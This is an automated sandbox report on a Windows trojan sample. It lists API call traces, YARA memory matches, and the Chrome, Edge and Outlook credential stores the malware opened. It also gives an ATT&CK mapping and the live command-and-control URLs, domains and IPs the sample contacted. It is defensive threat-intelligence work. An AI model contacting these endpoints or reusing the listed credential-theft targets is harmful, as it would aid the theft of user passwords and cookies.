Source: MqYVUkmlJNkso.exe, 0000000B.00000000.1528031755.0000000001691000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3744386958.0000000001690000.00000002.00000001.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674812211.0000000000EB0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00410D10 cpuid

3_2_00410D10

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_004223BC

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_004711D2 GetUserNameW,

3_2_004711D2

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

3_2_0042039F

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_0040E470

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\openfiles.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: 3NvALxFlHV.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: 3NvALxFlHV.exe	Binary or memory string: WIN_XP
Source: 3NvALxFlHV.exe	Binary or memory string: WIN_XPe
Source: 3NvALxFlHV.exe	Binary or memory string: WIN_VISTA
Source: 3NvALxFlHV.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	3_2_004741BB
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	3_2_0046483C
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	3_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3NvALxFlHV.exe	55%	ReversingLabs	Win32.Trojan.AutoitInject
3NvALxFlHV.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.martmall.info/mnch/?E2fH=v8BgWZnTU46XNxSlz+wlrSVbOoZFIyRpq8YSvkRatF7pdr65NJBVncP31ryMv/pPMJWLYh1CVZzl0k3fb3N4x0CJPytH4m5WOVJ5IQUCm7oWyhrtqrOCt/w=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe
http://www.js18456.net/byug/?E2fH=daot1yqA0sfH+KONUjF9hF9KxIdUCROymgGxIYerxsodSW80Yw7JQGC35zuckSas8FRPkylX8MsqYI+8Hz0cXrz91+K4b8Ld2EqmqWGcnUCnJm719DUTRgg=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe
http://www.martmall.info/mnch/	0%	Avira URL Cloud	safe
http://www.solidarity.rocks/hezo/	0%	Avira URL Cloud	safe
http://www.cdqjey8g.sbs/mwey/	0%	Avira URL Cloud	safe
http://www.pegji.online/d2v9/	0%	Avira URL Cloud	safe
http://www.cablecarrental.net/v4bm/	0%	Avira URL Cloud	safe
https://www.pegji.online/d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoK	0%	Avira URL Cloud	safe
http://www.it2sp8.vip/u70o/	0%	Avira URL Cloud	safe
http://www.falconheights.net/4wnb/	0%	Avira URL Cloud	safe
http://www.myplayamate.llc/dm2x/?E2fH=grO1LxSDrmNOUN5ocyt3fDknYbpBReLynL52L47D0Lgkq4xUgfOqgzNwjeu1tfF12m3HUWvarONV4OYJXtmiDSOJK4Zfva4/2XQ2q5uVkpf0UftmUsZvzq8=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe
http://www.falconheights.net/4wnb/?E2fH=X14YfohpWrTQgo+2fEGR/oEnJAhsffb6ONKrCrUA6BZWjV0Lu+Wdyuy2cUfhulzwfmbkeUkSY2ITORl/jt7fTa2/oaemcjCq9ZnCapLt5vZPfbZ3XVFIYc4=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe
http://www.it2sp8.vip	0%	Avira URL Cloud	safe
http://www.18kwatch.com/q2rh/?E2fH=r/EyMueF1/AhvFqr+9TotpwoHKCIEEEMEoMq7xAjfHS+GnpKTvJxQoa4UgTQDYoJjZ3MWdRKVLrTGebY08sUCYWROzhfFqBrGL/IjHkWdzN6XshZkCh6U0M=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe
http://www.cablecarrental.net/v4bm/?wZY4Z=9tG860z8qzo&E2fH=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHU6fRjhM8DXS5/jiGjBePMmJpX4bZbURmjHk=	0%	Avira URL Cloud	safe
http://www.it2sp8.vip/u70o/?wZY4Z=9tG860z8qzo&E2fH=JwsU8I9SkjKHMoVkS85bnAJiw0PC8R6yLSvzNa+AEjIFSc4tS7Z2dBODPwkRq8FfsiXvcWwiJzvfCp1BJ4ZviqrX7a3aTO/4I/dN45SIrzTvyELXxXrhSsw=	0%	Avira URL Cloud	safe
http://www.wiretap.digital/5qo7/?E2fH=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlex1CFQX+4lQqlDIm6FqO6s89btvlTGm41ig=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe
http://www.myplayamate.llc/dm2x/	0%	Avira URL Cloud	safe
http://www.18kwatch.com/q2rh/	0%	Avira URL Cloud	safe
https://falconheights.net/4wnb/?E2fH=X14YfohpWrTQgo	0%	Avira URL Cloud	safe
http://www.ambaolive.info/etyp/?E2fH=Dr+g/XG6jtOqCn8/zR8nTbl4ceO03c9kwfdN6eE3C0ioydwbN70LOWdod/pg9bEI1Vuk9miEvgn19d41gPN4qkUHr1Xbu/t0+A+NutfeDoV3Ubg7JgQWWyg=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe
http://www.ninesquare.games/5dij/?wZY4Z=9tG860z8qzo&E2fH=klo57B+4TEQKxOCll5/ud9oRIMf8lXO2f/YzsC7HwA7/Xv4ZBQnteMBAzzgS9I460LA+WWvjCe2/oT2Hpf5eVU9NDecIBVFVrJ3meQNkkFVg+JeoeGRR7iE=	0%	Avira URL Cloud	safe
http://www.ambaolive.info/etyp/	0%	Avira URL Cloud	safe
http://www.everyone.golf/vn3y/	0%	Avira URL Cloud	safe
http://www.pegji.online/d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+j8KfdNkYSpcxUYd9Chya6UgFWZTzxsRjmxM=	0%	Avira URL Cloud	safe
http://www.ninesquare.games/5dij/	0%	Avira URL Cloud	safe
http://www.everyone.golf/vn3y/?wZY4Z=9tG860z8qzo&E2fH=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLvbivtJQJXW/JiUtY9He5kgXXedAC3k6p8R4=	0%	Avira URL Cloud	safe
http://www.wiretap.digital/5qo7/	0%	Avira URL Cloud	safe
http://www.solidarity.rocks/hezo/?E2fH=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oKx440HrMY07fapDTednh2/Ea+kcK2WC2IW8=&wZY4Z=9tG860z8qzo	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.ambaolive.info	217.160.0.93	true	true	unknown
www.js18456.net	154.204.174.144	true	true	unknown
falconheights.net	76.223.105.230	true	true	unknown
www.solidarity.rocks	13.248.169.48	true	true	unknown
www.martmall.info	209.74.64.189	true	true	unknown
www.18kwatch.com	202.87.223.248	true	true	unknown
b1-3-r111.kunlundns.top	43.155.76.124	true	true	unknown
www.pegji.online	185.151.30.221	true	true	unknown
it2sp8.vip	3.33.130.190	true	true	unknown
wiretap.digital	3.33.130.190	true	true	unknown
cablecarrental.net	3.33.130.190	true	true	unknown
everyone.golf	3.33.130.190	true	true	unknown
ninesquare.games	3.33.130.190	true	true	unknown
myplayamate.llc	3.33.130.190	true	true	unknown
www.falconheights.net	unknown	unknown	true	unknown
www.myplayamate.llc	unknown	unknown	true	unknown
www.everyone.golf	unknown	unknown	true	unknown
www.cablecarrental.net	unknown	unknown	true	unknown
www.wiretap.digital	unknown	unknown	true	unknown
www.ninesquare.games	unknown	unknown	true	unknown
www.it2sp8.vip	unknown	unknown	true	unknown
www.kmjai8jf.icu	unknown	unknown	true	unknown
www.cdqjey8g.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.cablecarrental.net/v4bm/	true	Avira URL Cloud: safe	unknown
http://www.martmall.info/mnch/	true	Avira URL Cloud: safe	unknown
http://www.cdqjey8g.sbs/mwey/	true	Avira URL Cloud: safe	unknown
http://www.pegji.online/d2v9/	true	Avira URL Cloud: safe	unknown
http://www.solidarity.rocks/hezo/	true	Avira URL Cloud: safe	unknown
http://www.js18456.net/byug/?E2fH=daot1yqA0sfH+KONUjF9hF9KxIdUCROymgGxIYerxsodSW80Yw7JQGC35zuckSas8FRPkylX8MsqYI+8Hz0cXrz91+K4b8Ld2EqmqWGcnUCnJm719DUTRgg=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.martmall.info/mnch/?E2fH=v8BgWZnTU46XNxSlz+wlrSVbOoZFIyRpq8YSvkRatF7pdr65NJBVncP31ryMv/pPMJWLYh1CVZzl0k3fb3N4x0CJPytH4m5WOVJ5IQUCm7oWyhrtqrOCt/w=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.it2sp8.vip/u70o/	true	Avira URL Cloud: safe	unknown
http://www.falconheights.net/4wnb/	true	Avira URL Cloud: safe	unknown
http://www.falconheights.net/4wnb/?E2fH=X14YfohpWrTQgo+2fEGR/oEnJAhsffb6ONKrCrUA6BZWjV0Lu+Wdyuy2cUfhulzwfmbkeUkSY2ITORl/jt7fTa2/oaemcjCq9ZnCapLt5vZPfbZ3XVFIYc4=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.myplayamate.llc/dm2x/?E2fH=grO1LxSDrmNOUN5ocyt3fDknYbpBReLynL52L47D0Lgkq4xUgfOqgzNwjeu1tfF12m3HUWvarONV4OYJXtmiDSOJK4Zfva4/2XQ2q5uVkpf0UftmUsZvzq8=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.18kwatch.com/q2rh/?E2fH=r/EyMueF1/AhvFqr+9TotpwoHKCIEEEMEoMq7xAjfHS+GnpKTvJxQoa4UgTQDYoJjZ3MWdRKVLrTGebY08sUCYWROzhfFqBrGL/IjHkWdzN6XshZkCh6U0M=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.cablecarrental.net/v4bm/?wZY4Z=9tG860z8qzo&E2fH=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHU6fRjhM8DXS5/jiGjBePMmJpX4bZbURmjHk=	true	Avira URL Cloud: safe	unknown
http://www.wiretap.digital/5qo7/?E2fH=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlex1CFQX+4lQqlDIm6FqO6s89btvlTGm41ig=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.myplayamate.llc/dm2x/	true	Avira URL Cloud: safe	unknown
http://www.it2sp8.vip/u70o/?wZY4Z=9tG860z8qzo&E2fH=JwsU8I9SkjKHMoVkS85bnAJiw0PC8R6yLSvzNa+AEjIFSc4tS7Z2dBODPwkRq8FfsiXvcWwiJzvfCp1BJ4ZviqrX7a3aTO/4I/dN45SIrzTvyELXxXrhSsw=	true	Avira URL Cloud: safe	unknown
http://www.18kwatch.com/q2rh/	true	Avira URL Cloud: safe	unknown
http://www.everyone.golf/vn3y/	true	Avira URL Cloud: safe	unknown
http://www.ninesquare.games/5dij/	true	Avira URL Cloud: safe	unknown
http://www.ambaolive.info/etyp/?E2fH=Dr+g/XG6jtOqCn8/zR8nTbl4ceO03c9kwfdN6eE3C0ioydwbN70LOWdod/pg9bEI1Vuk9miEvgn19d41gPN4qkUHr1Xbu/t0+A+NutfeDoV3Ubg7JgQWWyg=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.ninesquare.games/5dij/?wZY4Z=9tG860z8qzo&E2fH=klo57B+4TEQKxOCll5/ud9oRIMf8lXO2f/YzsC7HwA7/Xv4ZBQnteMBAzzgS9I460LA+WWvjCe2/oT2Hpf5eVU9NDecIBVFVrJ3meQNkkFVg+JeoeGRR7iE=	true	Avira URL Cloud: safe	unknown
http://www.ambaolive.info/etyp/	true	Avira URL Cloud: safe	unknown
http://www.pegji.online/d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+j8KfdNkYSpcxUYd9Chya6UgFWZTzxsRjmxM=	true	Avira URL Cloud: safe	unknown
http://www.everyone.golf/vn3y/?wZY4Z=9tG860z8qzo&E2fH=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLvbivtJQJXW/JiUtY9He5kgXXedAC3k6p8R4=	true	Avira URL Cloud: safe	unknown
http://www.solidarity.rocks/hezo/?E2fH=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oKx440HrMY07fapDTednh2/Ea+kcK2WC2IW8=&wZY4Z=9tG860z8qzo	true	Avira URL Cloud: safe	unknown
http://www.wiretap.digital/5qo7/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.pegji.online/d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoK	openfiles.exe, 0000000C.00000002.3749115290.0000000006420000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000002.3747926409.00000000034E0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.it2sp8.vip	MqYVUkmlJNkso.exe, 0000000D.00000002.3749884813.0000000004C1E000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://falconheights.net/4wnb/?E2fH=X14YfohpWrTQgo	openfiles.exe, 0000000C.00000002.3749115290.0000000006BFA000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000002.3747926409.0000000003CBA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	openfiles.exe, 0000000C.00000003.1792499517.0000000008388000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.solidarity.rocks	United States	16509	AMAZON-02US	true
202.87.223.248	www.18kwatch.com	Malaysia	24321	OCENET-AS-APOCESdnBhdISPMY	true
154.204.174.144	www.js18456.net	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	true
76.223.105.230	falconheights.net	United States	16509	AMAZON-02US	true
43.155.76.124	b1-3-r111.kunlundns.top	Japan	4249	LILLY-ASUS	true
217.160.0.93	www.ambaolive.info	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
209.74.64.189	www.martmall.info	United States	31744	MULTIBAND-NEWHOPEUS	true
3.33.130.190	it2sp8.vip	United States	8987	AMAZONEXPANSIONGB	true
185.151.30.221	www.pegji.online	United Kingdom	48254	TWENTYIGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551045
Start date and time:	2024-11-07 12:48:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3NvALxFlHV.exe renamed because original name is a hash value
Original Sample Name:	fd038f6fb8abe9ad01f9d26e5ce75ac7556f6a394e9d709acc9d9ef8f4616e5d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@15/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 91% Number of executed functions: 36 Number of non-executed functions: 318
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: 3NvALxFlHV.exe

Simulations

Behavior and APIs

Time	Type	Description
06:50:10	API Interceptor	10337200x Sleep call for process: openfiles.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	FzmC0FwV6y.exe	Get hash	malicious	FormBook	Browse	www.virtu.industries/uln2/
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.telforce.one/ykhz/
	icRicpJWczmiOf8.exe	Get hash	malicious	FormBook	Browse	www.ulula.org/4w1b/
	IbRV4I7MrS.exe	Get hash	malicious	FormBook	Browse	www.ila.beauty/izfe/
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	www.notepad.mobi/zut6/?Q2_4=Kt4qQSLgj4HorxpxZIZ4p+EAwKHWi+XN9OiBuCBJU5cikXkc2Sk5R2gtgSdO+P2tW+5SfoOeVCvwWIOnLXM8QNp6yDsCjrxQ3ZxiPCiDnoMvdK5RCpNRC70=&uXP=1HX8
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	www.polarmuseum.info/9u26/
